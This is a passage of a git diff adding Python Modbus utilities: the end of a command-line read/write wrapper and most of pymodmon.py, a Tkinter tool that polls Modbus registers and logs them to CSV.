+parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: 